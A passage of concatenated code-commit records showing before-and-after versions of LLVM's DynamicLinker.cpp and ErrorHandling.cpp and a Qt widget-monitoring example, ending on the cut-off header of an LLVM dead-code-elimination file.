if (dlopen (filename, RTLD_NOW | RTLD_GLOBAL) == 0) {\n if (ErrorMessage) *ErrorMessage = dlerror ();\n return true;\n }\n return false;\n#elif defined(HAVE_WINDOWS_H)\n if (LoadLibrary(filename))\n return false;\n if (ErrorMessage) {\n char Buffer[100];\n \/\/ FIXME: This should use FormatMessage\n sprintf(Buffer, \"Windows error code %d\\n\", GetLastError());\n *ErrorMessage = Buffer;\n }\n return true;\n#else\n assert (0 && \"Dynamic object linking not implemented for this platform\");\n#endif\n}\n\nvoid *llvm::GetAddressOfSymbol (const char *symbolName) {\n#if defined (HAVE_DLOPEN)\n# ifdef RTLD_DEFAULT\n return dlsym (RTLD_DEFAULT, symbolName);\n# else\n static void* CurHandle = dlopen(0, RTLD_LAZY);\n return dlsym(CurHandle, symbolName);\n# endif\n#elif defined(HAVE_WINDOWS_H)\n static HMODULE ModHandle = NULL;\n if (ModHandle == 0) ModHandle = GetModuleHandle(NULL);\n return (void*)GetProcAddress(ModHandle, symbolName);\n#else\n assert (0 && \"Dynamic symbol lookup not implemented for this platform\");\n#endif\n}\n\n\/\/ soft, cushiony C++ interface.\nvoid *llvm::GetAddressOfSymbol(const std::string &symbolName) {\n return GetAddressOfSymbol(symbolName.c_str());\n}\n<commit_msg>Thoroughly rehack the dynamic linking mechanisms on Win32. The Win32 dynamic linker does not automatically search libraries when looking up symbols with GetProcAddress. Because of this we have to emulate it. The only detail is that there doesn't seem to be a way to enumerate the libraries loaded, so we have a gross hack (tm).<commit_after>\/\/===-- DynamicLinker.cpp - Implement DynamicLinker interface -------------===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Lightweight interface to dynamic library linking and loading, and dynamic\n\/\/ symbol lookup functionality, in whatever form the operating system\n\/\/ provides it.\n\/\/\n\/\/ Possible future extensions include support for the HPUX shl_load()\n\/\/ interface, and the Mac OS X NSLinkModule() interface.\n\/\/\n\/\/ Note that we assume that if dlopen() is available, then dlsym() is too.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Support\/DynamicLinker.h\"\n#include \"Config\/dlfcn.h\"\n#include \"Config\/windows.h\"\n#include <cassert>\n#include <vector>\nusing namespace llvm;\n\n#if defined(HAVE_WINDOWS_H)\n\/\/ getLoadedLibs - Keep track of the shared objects that are loaded into the\n\/\/ process address space, as the windows GetProcAddress function does not\n\/\/ automatically search an entire address space, it only searches a specific\n\/\/ object.\nstatic std::vector<HMODULE> &getLoadedLibHandles() {\n static std::vector<HMODULE> *LoadedLibHandles = 0;\n if (LoadedLibHandles == 0) {\n LoadedLibHandles = new std::vector<HMODULE>();\n if (HMODULE H = GetModuleHandle(NULL)) \/\/ JIT symbols\n LoadedLibHandles->push_back(H);\n if (HMODULE MH = GetModuleHandle(\"cygwin1.dll\")) \/\/ Cygwin symbols OR\n LoadedLibHandles->push_back(MH);\n else if (HMODULE MH = GetModuleHandle(\"msvcr80.dll\")) \/\/ VC++ symbols\n LoadedLibHandles->push_back(MH);\n }\n return *LoadedLibHandles;\n}\n#endif\n\nbool llvm::LinkDynamicObject(const char *filename, std::string *ErrorMessage) {\n#if defined(HAVE_WINDOWS_H)\n if (HMODULE Handle = LoadLibrary(filename)) {\n \/\/ Allow GetProcAddress in this module\n getLoadedLibHandles().push_back(Handle);\n return false;\n }\n if (ErrorMessage) {\n char Buffer[100];\n \/\/ FIXME: This should use FormatMessage\n sprintf(Buffer, \"Windows error code %d\\n\", GetLastError());\n *ErrorMessage = Buffer;\n }\n return true;\n#elif defined (HAVE_DLOPEN)\n if (dlopen (filename, RTLD_NOW | RTLD_GLOBAL) == 0) {\n if (ErrorMessage) *ErrorMessage = dlerror ();\n return true;\n }\n return false;\n#else\n assert (0 && \"Dynamic object linking not implemented for this platform\");\n#endif\n}\n\nvoid *llvm::GetAddressOfSymbol(const char *symbolName) {\n#if defined(HAVE_WINDOWS_H)\n std::vector<HMODULE> &LH = getLoadedLibHandles();\n for (unsigned i = 0, e = LH.size(); i != e; ++i)\n if (void *Val = (void*)GetProcAddress(LH[i], symbolName))\n return Val;\n return 0;\n#elif defined(HAVE_DLOPEN)\n# ifdef RTLD_DEFAULT\n return dlsym (RTLD_DEFAULT, symbolName);\n# else\n static void* CurHandle = dlopen(0, RTLD_LAZY);\n return dlsym(CurHandle, symbolName);\n# endif\n#else\n assert (0 && \"Dynamic symbol lookup not implemented for this platform\");\n#endif\n}\n\n\/\/ soft, cushiony C++ interface.\nvoid *llvm::GetAddressOfSymbol(const std::string &symbolName) {\n return GetAddressOfSymbol(symbolName.c_str());\n}\n<|endoftext|>"} {"text":"<commit_before>#include <QApplication>\n#include <QWidget>\n#include <QLabel>\n#include <QPushButton>\n#include <QGridLayout>\n#include <QPointer>\n#include <QBackingStore>\n#include <QList>\n#include <QBasicTimer>\n#include <QImage>\n#include <QPixmap>\n#include <QTime>\n#include <QDebug>\n\nclass WidgetMonitor : public QObject\n{\n Q_OBJECT\n QSet<QWidget *> m_awake;\n QBasicTimer m_timer;\n int m_counter;\n void queue(QWidget * w) {\n m_awake << w->window();\n if (! m_timer.isActive()) m_timer.start(0, this);\n }\n bool eventFilter(QObject * obj, QEvent * ev) {\n switch (ev->type()) {\n case QEvent::Paint: {\n if (! obj->isWidgetType()) break;\n queue(static_cast<QWidget*>(obj));\n break;\n }\n case QEvent::ChildAdded: {\n if (obj->isWidgetType()) obj->installEventFilter(this);\n break;\n }\n default: break;\n }\n return false;\n }\n void timerEvent(QTimerEvent * ev) {\n if (ev->timerId() != m_timer.timerId()) return;\n qDebug() << \"painting: \" << m_counter++ << m_awake;\n foreach (QWidget * w, m_awake) {\n QImage * img = dynamic_cast<QImage*>(w->backingStore()->paintDevice());\n if (img) emit newContents(img, w);\n }\n m_awake.clear();\n m_timer.stop();\n }\n Q_SLOT void windowDestroyed(QObject * obj) {\n if (! obj->isWidgetType()) return;\n m_awake.remove(static_cast<QWidget*>(obj));\n }\npublic:\n explicit WidgetMonitor(QObject * parent = 0) : QObject(parent), m_counter(0) {}\n explicit WidgetMonitor(QWidget * w, QObject * parent = 0) : QObject(parent), m_counter(0) {\n monitor(w);\n }\n Q_SLOT void monitor(QWidget * w) {\n w = w->window();\n connect(w, &QObject::destroyed, this, &WidgetMonitor::windowDestroyed);\n w->installEventFilter(this);\n foreach (QObject * obj, w->children()) {\n if (obj->isWidgetType()) obj->installEventFilter(this);\n }\n queue(w);\n }\n Q_SLOT void unMonitor(QWidget * w) {\n w = w->window();\n disconnect(w, &QObject::destroyed, this, &WidgetMonitor::windowDestroyed);\n m_awake.remove(w);\n w->removeEventFilter(this);\n foreach (QObject * obj, w->children()) {\n if (obj->isWidgetType()) obj->removeEventFilter(this);\n }\n }\n Q_SIGNAL void newContents(const QImage *, QWidget * w);\n};\n\nclass TestWidget : public QWidget {\n QLabel * m_time;\n QBasicTimer m_timer;\n void timerEvent(QTimerEvent * ev) {\n if (ev->timerId() != m_timer.timerId()) return;\n m_time->setText(QTime::currentTime().toString());\n }\npublic:\n explicit TestWidget(QWidget * parent = 0) : QWidget(parent), m_time(new QLabel) {\n QGridLayout * lay = new QGridLayout(this);\n lay->addWidget(m_time, 0, 0);\n lay->addWidget(new QLabel(\"Static Label\"), 1, 0);\n lay->addWidget(new QPushButton(\"A Button\"), 2, 0);\n m_timer.start(1000, this);\n }\n};\n\nint main(int argc, char *argv[])\n{\n QApplication a(argc, argv);\n\n TestWidget src;\n QWidget dst;\n QGridLayout * dl = new QGridLayout(&dst);\n QLabel * dstLabel = new QLabel;\n dstLabel->setFrameShape(QFrame::Box);\n dl->addWidget(new QLabel(\"Destination\"), 0, 0);\n dl->addWidget(dstLabel);\n src.show();\n dst.show();\n\n WidgetMonitor mon(&src);\n QObject::connect(&mon, &WidgetMonitor::newContents, [=](const QImage * img){\n dstLabel->resize(img->size());\n dstLabel->setPixmap(QPixmap::fromImage(*img));\n\n });\n return a.exec();\n}\n\n#include \"main.moc\"\n<commit_msg>C++11-ize<commit_after>\/\/ https:\/\/github.com\/KubaO\/stackoverflown\/tree\/master\/questions\/surface-20737882\n#include <QtWidgets>\n\nclass WidgetMonitor : public QObject\n{\n Q_OBJECT\n QSet<QWidget *> m_awake;\n QBasicTimer m_timer;\n int m_counter = 0;\n void queue(QWidget * w) {\n m_awake << w->window();\n if (! m_timer.isActive()) m_timer.start(0, this);\n }\n bool eventFilter(QObject * obj, QEvent * ev) {\n switch (ev->type()) {\n case QEvent::Paint: {\n if (! obj->isWidgetType()) break;\n queue(static_cast<QWidget*>(obj));\n break;\n }\n case QEvent::ChildAdded: {\n if (obj->isWidgetType()) obj->installEventFilter(this);\n break;\n }\n default: break;\n }\n return false;\n }\n void timerEvent(QTimerEvent * ev) {\n if (ev->timerId() != m_timer.timerId()) return;\n qDebug() << \"painting: \" << m_counter++ << m_awake;\n for (auto w : m_awake) {\n auto img = dynamic_cast<QImage*>(w->backingStore()->paintDevice());\n if (img) emit newContents(img, w);\n }\n m_awake.clear();\n m_timer.stop();\n }\n Q_SLOT void windowDestroyed(QObject * obj) {\n if (! obj->isWidgetType()) return;\n m_awake.remove(static_cast<QWidget*>(obj));\n }\npublic:\n explicit WidgetMonitor(QObject * parent = nullptr) : QObject{parent} {}\n explicit WidgetMonitor(QWidget * w, QObject * parent = nullptr) : QObject{parent} {\n monitor(w);\n }\n Q_SLOT void monitor(QWidget * w) {\n w = w->window();\n connect(w, &QObject::destroyed, this, &WidgetMonitor::windowDestroyed);\n w->installEventFilter(this);\n for (auto obj : w->children())\n if (obj->isWidgetType()) obj->installEventFilter(this);\n queue(w);\n }\n Q_SLOT void unMonitor(QWidget * w) {\n w = w->window();\n disconnect(w, &QObject::destroyed, this, &WidgetMonitor::windowDestroyed);\n m_awake.remove(w);\n w->removeEventFilter(this);\n for (auto obj : w->children()) {\n if (obj->isWidgetType()) obj->removeEventFilter(this);\n }\n }\n Q_SIGNAL void newContents(const QImage *, QWidget * w);\n};\n\nclass TestWidget : public QWidget {\n QVBoxLayout m_layout{this};\n QLabel m_time;\n QBasicTimer m_timer;\n void timerEvent(QTimerEvent * ev) override {\n if (ev->timerId() != m_timer.timerId()) return;\n m_time.setText(QTime::currentTime().toString());\n }\npublic:\n explicit TestWidget(QWidget * parent = 0) : QWidget{parent} {\n m_layout.addWidget(&m_time);\n m_layout.addWidget(new QLabel{\"Static Label\"});\n m_layout.addWidget(new QPushButton{\"A Button\"});\n m_timer.start(1000, this);\n }\n};\n\nint main(int argc, char **argv)\n{\n QApplication app{argc, argv};\n TestWidget src;\n QWidget dst;\n QVBoxLayout dl{&dst};\n QLabel description{\"Destination\"};\n QLabel contents;\n contents.setFrameShape(QFrame::Box);\n dl.addWidget(&description);\n dl.addWidget(&contents);\n src.show();\n dst.show();\n\n WidgetMonitor mon(&src);\n QObject::connect(&mon, &WidgetMonitor::newContents, [&](const QImage * img){\n contents.resize(img->size());\n contents.setPixmap(QPixmap::fromImage(*img));\n });\n return app.exec();\n}\n\n#include \"main.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/\/===- lib\/Support\/ErrorHandling.cpp - Callbacks for errors ---------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines an API used to indicate fatal error conditions. Non-fatal\n\/\/ errors (most of them) should be handled through LLVMContext.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm-c\/Core.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Errc.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/Mutex.h\"\n#include \"llvm\/Support\/MutexGuard.h\"\n#include \"llvm\/Support\/Threading.h\"\n#include \"llvm\/Support\/WindowsError.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <cassert>\n#include <cstdlib>\n\n#if defined(HAVE_UNISTD_H)\n# include <unistd.h>\n#endif\n#if defined(_MSC_VER)\n# include <io.h>\n# include <fcntl.h>\n#endif\n\nusing namespace llvm;\n\nstatic fatal_error_handler_t ErrorHandler = nullptr;\nstatic void *ErrorHandlerUserData = nullptr;\n\nstatic sys::Mutex ErrorHandlerMutex;\n\nvoid llvm::install_fatal_error_handler(fatal_error_handler_t handler,\n void *user_data) {\n llvm::MutexGuard Lock(ErrorHandlerMutex);\n assert(!ErrorHandler && \"Error handler already registered!\\n\");\n ErrorHandler = handler;\n ErrorHandlerUserData = user_data;\n}\n\nvoid llvm::remove_fatal_error_handler() {\n llvm::MutexGuard Lock(ErrorHandlerMutex);\n ErrorHandler = nullptr;\n ErrorHandlerUserData = nullptr;\n}\n\nvoid llvm::report_fatal_error(const char *Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(const std::string &Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(StringRef Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(const Twine &Reason, bool GenCrashDiag) {\n llvm::fatal_error_handler_t handler = nullptr;\n void* handlerData = nullptr;\n {\n \/\/ Only acquire the mutex while reading the handler, so as not to invoke a\n \/\/ user-supplied callback under a lock.\n llvm::MutexGuard Lock(ErrorHandlerMutex);\n handler = ErrorHandler;\n handlerData = ErrorHandlerUserData;\n }\n\n if (handler) {\n handler(handlerData, Reason.str(), GenCrashDiag);\n } else {\n \/\/ Blast the result out to stderr. We don't try hard to make sure this\n \/\/ succeeds (e.g. handling EINTR) and we can't use errs() here because\n \/\/ raw ostreams can call report_fatal_error.\n SmallVector<char, 64> Buffer;\n raw_svector_ostream OS(Buffer);\n OS << \"LLVM ERROR: \" << Reason << \"\\n\";\n StringRef MessageStr = OS.str();\n ssize_t written = ::write(2, MessageStr.data(), MessageStr.size());\n (void)written; \/\/ If something went wrong, we deliberately just give up.\n }\n\n \/\/ If we reached here, we are failing ungracefully. Run the interrupt handlers\n \/\/ to make sure any special cleanups get done, in particular that we remove\n \/\/ files registered with RemoveFileOnSignal.\n sys::RunInterruptHandlers();\n\n exit(1);\n}\n\nvoid llvm::llvm_unreachable_internal(const char *msg, const char *file,\n unsigned line) {\n \/\/ This code intentionally doesn't call the ErrorHandler callback, because\n \/\/ llvm_unreachable is intended to be used to indicate \"impossible\"\n \/\/ situations, and not legitimate runtime errors.\n if (msg)\n dbgs() << msg << \"\\n\";\n dbgs() << \"UNREACHABLE executed\";\n if (file)\n dbgs() << \" at \" << file << \":\" << line;\n dbgs() << \"!\\n\";\n abort();\n#ifdef LLVM_BUILTIN_UNREACHABLE\n \/\/ Windows systems and possibly others don't declare abort() to be noreturn,\n \/\/ so use the unreachable builtin to avoid a Clang self-host warning.\n LLVM_BUILTIN_UNREACHABLE;\n#endif\n}\n\nstatic void bindingsErrorHandler(void *user_data, const std::string& reason,\n bool gen_crash_diag) {\n LLVMFatalErrorHandler handler =\n LLVM_EXTENSION reinterpret_cast<LLVMFatalErrorHandler>(user_data);\n handler(reason.c_str());\n}\n\nvoid LLVMInstallFatalErrorHandler(LLVMFatalErrorHandler Handler) {\n install_fatal_error_handler(bindingsErrorHandler,\n LLVM_EXTENSION reinterpret_cast<void *>(Handler));\n}\n\nvoid LLVMResetFatalErrorHandler() {\n remove_fatal_error_handler();\n}\n\n#ifdef LLVM_ON_WIN32\n\n#include <winerror.h>\n\n\/\/ I'd rather not double the line count of the following.\n#define MAP_ERR_TO_COND(x, y) \\\n case x: \\\n return make_error_code(errc::y)\n\nstd::error_code llvm::mapWindowsError(unsigned EV) {\n switch (EV) {\n MAP_ERR_TO_COND(ERROR_ACCESS_DENIED, permission_denied);\n MAP_ERR_TO_COND(ERROR_ALREADY_EXISTS, file_exists);\n MAP_ERR_TO_COND(ERROR_BAD_UNIT, no_such_device);\n MAP_ERR_TO_COND(ERROR_BUFFER_OVERFLOW, filename_too_long);\n MAP_ERR_TO_COND(ERROR_BUSY, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_BUSY_DRIVE, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_CANNOT_MAKE, permission_denied);\n MAP_ERR_TO_COND(ERROR_CANTOPEN, io_error);\n MAP_ERR_TO_COND(ERROR_CANTREAD, io_error);\n MAP_ERR_TO_COND(ERROR_CANTWRITE, io_error);\n MAP_ERR_TO_COND(ERROR_CURRENT_DIRECTORY, permission_denied);\n MAP_ERR_TO_COND(ERROR_DEV_NOT_EXIST, no_such_device);\n MAP_ERR_TO_COND(ERROR_DEVICE_IN_USE, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_DIR_NOT_EMPTY, directory_not_empty);\n MAP_ERR_TO_COND(ERROR_DIRECTORY, invalid_argument);\n MAP_ERR_TO_COND(ERROR_DISK_FULL, no_space_on_device);\n MAP_ERR_TO_COND(ERROR_FILE_EXISTS, file_exists);\n MAP_ERR_TO_COND(ERROR_FILE_NOT_FOUND, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_HANDLE_DISK_FULL, no_space_on_device);\n MAP_ERR_TO_COND(ERROR_INVALID_ACCESS, permission_denied);\n MAP_ERR_TO_COND(ERROR_INVALID_DRIVE, no_such_device);\n MAP_ERR_TO_COND(ERROR_INVALID_FUNCTION, function_not_supported);\n MAP_ERR_TO_COND(ERROR_INVALID_HANDLE, invalid_argument);\n MAP_ERR_TO_COND(ERROR_INVALID_NAME, invalid_argument);\n MAP_ERR_TO_COND(ERROR_LOCK_VIOLATION, no_lock_available);\n MAP_ERR_TO_COND(ERROR_LOCKED, no_lock_available);\n MAP_ERR_TO_COND(ERROR_NEGATIVE_SEEK, invalid_argument);\n MAP_ERR_TO_COND(ERROR_NOACCESS, permission_denied);\n MAP_ERR_TO_COND(ERROR_NOT_ENOUGH_MEMORY, not_enough_memory);\n MAP_ERR_TO_COND(ERROR_NOT_READY, resource_unavailable_try_again);\n MAP_ERR_TO_COND(ERROR_OPEN_FAILED, io_error);\n MAP_ERR_TO_COND(ERROR_OPEN_FILES, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_OUTOFMEMORY, not_enough_memory);\n MAP_ERR_TO_COND(ERROR_PATH_NOT_FOUND, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_BAD_NETPATH, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_READ_FAULT, io_error);\n MAP_ERR_TO_COND(ERROR_RETRY, resource_unavailable_try_again);\n MAP_ERR_TO_COND(ERROR_SEEK, io_error);\n MAP_ERR_TO_COND(ERROR_SHARING_VIOLATION, permission_denied);\n MAP_ERR_TO_COND(ERROR_TOO_MANY_OPEN_FILES, too_many_files_open);\n MAP_ERR_TO_COND(ERROR_WRITE_FAULT, io_error);\n MAP_ERR_TO_COND(ERROR_WRITE_PROTECT, permission_denied);\n MAP_ERR_TO_COND(WSAEACCES, permission_denied);\n MAP_ERR_TO_COND(WSAEBADF, bad_file_descriptor);\n MAP_ERR_TO_COND(WSAEFAULT, bad_address);\n MAP_ERR_TO_COND(WSAEINTR, interrupted);\n MAP_ERR_TO_COND(WSAEINVAL, invalid_argument);\n MAP_ERR_TO_COND(WSAEMFILE, too_many_files_open);\n MAP_ERR_TO_COND(WSAENAMETOOLONG, filename_too_long);\n default:\n return std::error_code(EV, std::system_category());\n }\n}\n\n#endif\n<commit_msg>Converting the ErrorHandlerMutex to a ManagedStatic to avoid the static constructor and destructor.<commit_after>\/\/===- lib\/Support\/ErrorHandling.cpp - Callbacks for errors ---------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines an API used to indicate fatal error conditions. Non-fatal\n\/\/ errors (most of them) should be handled through LLVMContext.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm-c\/Core.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Errc.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/Mutex.h\"\n#include \"llvm\/Support\/MutexGuard.h\"\n#include \"llvm\/Support\/Threading.h\"\n#include \"llvm\/Support\/WindowsError.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <cassert>\n#include <cstdlib>\n\n#if defined(HAVE_UNISTD_H)\n# include <unistd.h>\n#endif\n#if defined(_MSC_VER)\n# include <io.h>\n# include <fcntl.h>\n#endif\n\nusing namespace llvm;\n\nstatic fatal_error_handler_t ErrorHandler = nullptr;\nstatic void *ErrorHandlerUserData = nullptr;\n\nstatic ManagedStatic<sys::Mutex> ErrorHandlerMutex;\n\nvoid llvm::install_fatal_error_handler(fatal_error_handler_t handler,\n void *user_data) {\n llvm::MutexGuard Lock(*ErrorHandlerMutex);\n assert(!ErrorHandler && \"Error handler already registered!\\n\");\n ErrorHandler = handler;\n ErrorHandlerUserData = user_data;\n}\n\nvoid llvm::remove_fatal_error_handler() {\n llvm::MutexGuard Lock(*ErrorHandlerMutex);\n ErrorHandler = nullptr;\n ErrorHandlerUserData = nullptr;\n}\n\nvoid llvm::report_fatal_error(const char *Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(const std::string &Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(StringRef Reason, bool GenCrashDiag) {\n report_fatal_error(Twine(Reason), GenCrashDiag);\n}\n\nvoid llvm::report_fatal_error(const Twine &Reason, bool GenCrashDiag) {\n llvm::fatal_error_handler_t handler = nullptr;\n void* handlerData = nullptr;\n {\n \/\/ Only acquire the mutex while reading the handler, so as not to invoke a\n \/\/ user-supplied callback under a lock.\n llvm::MutexGuard Lock(*ErrorHandlerMutex);\n handler = ErrorHandler;\n handlerData = ErrorHandlerUserData;\n }\n\n if (handler) {\n handler(handlerData, Reason.str(), GenCrashDiag);\n } else {\n \/\/ Blast the result out to stderr. We don't try hard to make sure this\n \/\/ succeeds (e.g. handling EINTR) and we can't use errs() here because\n \/\/ raw ostreams can call report_fatal_error.\n SmallVector<char, 64> Buffer;\n raw_svector_ostream OS(Buffer);\n OS << \"LLVM ERROR: \" << Reason << \"\\n\";\n StringRef MessageStr = OS.str();\n ssize_t written = ::write(2, MessageStr.data(), MessageStr.size());\n (void)written; \/\/ If something went wrong, we deliberately just give up.\n }\n\n \/\/ If we reached here, we are failing ungracefully. Run the interrupt handlers\n \/\/ to make sure any special cleanups get done, in particular that we remove\n \/\/ files registered with RemoveFileOnSignal.\n sys::RunInterruptHandlers();\n\n exit(1);\n}\n\nvoid llvm::llvm_unreachable_internal(const char *msg, const char *file,\n unsigned line) {\n \/\/ This code intentionally doesn't call the ErrorHandler callback, because\n \/\/ llvm_unreachable is intended to be used to indicate \"impossible\"\n \/\/ situations, and not legitimate runtime errors.\n if (msg)\n dbgs() << msg << \"\\n\";\n dbgs() << \"UNREACHABLE executed\";\n if (file)\n dbgs() << \" at \" << file << \":\" << line;\n dbgs() << \"!\\n\";\n abort();\n#ifdef LLVM_BUILTIN_UNREACHABLE\n \/\/ Windows systems and possibly others don't declare abort() to be noreturn,\n \/\/ so use the unreachable builtin to avoid a Clang self-host warning.\n LLVM_BUILTIN_UNREACHABLE;\n#endif\n}\n\nstatic void bindingsErrorHandler(void *user_data, const std::string& reason,\n bool gen_crash_diag) {\n LLVMFatalErrorHandler handler =\n LLVM_EXTENSION reinterpret_cast<LLVMFatalErrorHandler>(user_data);\n handler(reason.c_str());\n}\n\nvoid LLVMInstallFatalErrorHandler(LLVMFatalErrorHandler Handler) {\n install_fatal_error_handler(bindingsErrorHandler,\n LLVM_EXTENSION reinterpret_cast<void *>(Handler));\n}\n\nvoid LLVMResetFatalErrorHandler() {\n remove_fatal_error_handler();\n}\n\n#ifdef LLVM_ON_WIN32\n\n#include <winerror.h>\n\n\/\/ I'd rather not double the line count of the following.\n#define MAP_ERR_TO_COND(x, y) \\\n case x: \\\n return make_error_code(errc::y)\n\nstd::error_code llvm::mapWindowsError(unsigned EV) {\n switch (EV) {\n MAP_ERR_TO_COND(ERROR_ACCESS_DENIED, permission_denied);\n MAP_ERR_TO_COND(ERROR_ALREADY_EXISTS, file_exists);\n MAP_ERR_TO_COND(ERROR_BAD_UNIT, no_such_device);\n MAP_ERR_TO_COND(ERROR_BUFFER_OVERFLOW, filename_too_long);\n MAP_ERR_TO_COND(ERROR_BUSY, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_BUSY_DRIVE, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_CANNOT_MAKE, permission_denied);\n MAP_ERR_TO_COND(ERROR_CANTOPEN, io_error);\n MAP_ERR_TO_COND(ERROR_CANTREAD, io_error);\n MAP_ERR_TO_COND(ERROR_CANTWRITE, io_error);\n MAP_ERR_TO_COND(ERROR_CURRENT_DIRECTORY, permission_denied);\n MAP_ERR_TO_COND(ERROR_DEV_NOT_EXIST, no_such_device);\n MAP_ERR_TO_COND(ERROR_DEVICE_IN_USE, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_DIR_NOT_EMPTY, directory_not_empty);\n MAP_ERR_TO_COND(ERROR_DIRECTORY, invalid_argument);\n MAP_ERR_TO_COND(ERROR_DISK_FULL, no_space_on_device);\n MAP_ERR_TO_COND(ERROR_FILE_EXISTS, file_exists);\n MAP_ERR_TO_COND(ERROR_FILE_NOT_FOUND, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_HANDLE_DISK_FULL, no_space_on_device);\n MAP_ERR_TO_COND(ERROR_INVALID_ACCESS, permission_denied);\n MAP_ERR_TO_COND(ERROR_INVALID_DRIVE, no_such_device);\n MAP_ERR_TO_COND(ERROR_INVALID_FUNCTION, function_not_supported);\n MAP_ERR_TO_COND(ERROR_INVALID_HANDLE, invalid_argument);\n MAP_ERR_TO_COND(ERROR_INVALID_NAME, invalid_argument);\n MAP_ERR_TO_COND(ERROR_LOCK_VIOLATION, no_lock_available);\n MAP_ERR_TO_COND(ERROR_LOCKED, no_lock_available);\n MAP_ERR_TO_COND(ERROR_NEGATIVE_SEEK, invalid_argument);\n MAP_ERR_TO_COND(ERROR_NOACCESS, permission_denied);\n MAP_ERR_TO_COND(ERROR_NOT_ENOUGH_MEMORY, not_enough_memory);\n MAP_ERR_TO_COND(ERROR_NOT_READY, resource_unavailable_try_again);\n MAP_ERR_TO_COND(ERROR_OPEN_FAILED, io_error);\n MAP_ERR_TO_COND(ERROR_OPEN_FILES, device_or_resource_busy);\n MAP_ERR_TO_COND(ERROR_OUTOFMEMORY, not_enough_memory);\n MAP_ERR_TO_COND(ERROR_PATH_NOT_FOUND, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_BAD_NETPATH, no_such_file_or_directory);\n MAP_ERR_TO_COND(ERROR_READ_FAULT, io_error);\n MAP_ERR_TO_COND(ERROR_RETRY, resource_unavailable_try_again);\n MAP_ERR_TO_COND(ERROR_SEEK, io_error);\n MAP_ERR_TO_COND(ERROR_SHARING_VIOLATION, permission_denied);\n MAP_ERR_TO_COND(ERROR_TOO_MANY_OPEN_FILES, too_many_files_open);\n MAP_ERR_TO_COND(ERROR_WRITE_FAULT, io_error);\n MAP_ERR_TO_COND(ERROR_WRITE_PROTECT, permission_denied);\n MAP_ERR_TO_COND(WSAEACCES, permission_denied);\n MAP_ERR_TO_COND(WSAEBADF, bad_file_descriptor);\n MAP_ERR_TO_COND(WSAEFAULT, bad_address);\n MAP_ERR_TO_COND(WSAEINTR, interrupted);\n MAP_ERR_TO_COND(WSAEINVAL, invalid_argument);\n MAP_ERR_TO_COND(WSAEMFILE, too_many_files_open);\n MAP_ERR_TO_COND(WSAENAMETOOLONG, filename_too_long);\n default:\n return std::error_code(EV, std::system_category());\n }\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/===- DCE.cpp - Code to perform dead code elimination --------------------===\/\/\n\/\/\n\/\/ This file implements dead code elimination and basic block merging.\n\/\/\n\/\/ Specifically, this:\n\/\/ * removes definitions with no uses (including unused constants)\n\/\/ * removes basic blocks with no predecessors\n\/\/ * merges a basic block into its predecessor if there is only one and the\n\/\/ predecessor only has one successor.\n\/\/ * Eliminates PHI nodes for basic blocks with a single predecessor\n\/\/ * Eliminates a basic block that only contains an unconditional branch\n\/\/\n\/\/ TODO: This should REALLY be worklist driven instead of iterative. Right now,\n\/\/ we scan linearly through values, removing unused ones as we go. The problem\n\/\/ is that this may cause other earlier values to become unused. To make sure\n\/\/ that we get them all, we iterate until things stop changing. Instead, when \n\/\/ removing a value, recheck all of its operands to see if they are now unused.\n\/\/ Piece of cake, and more efficient as well. \n\/\/\n\/\/ Note, this is not trivial, because we have to worry about invalidating \n\/\/ iterators. 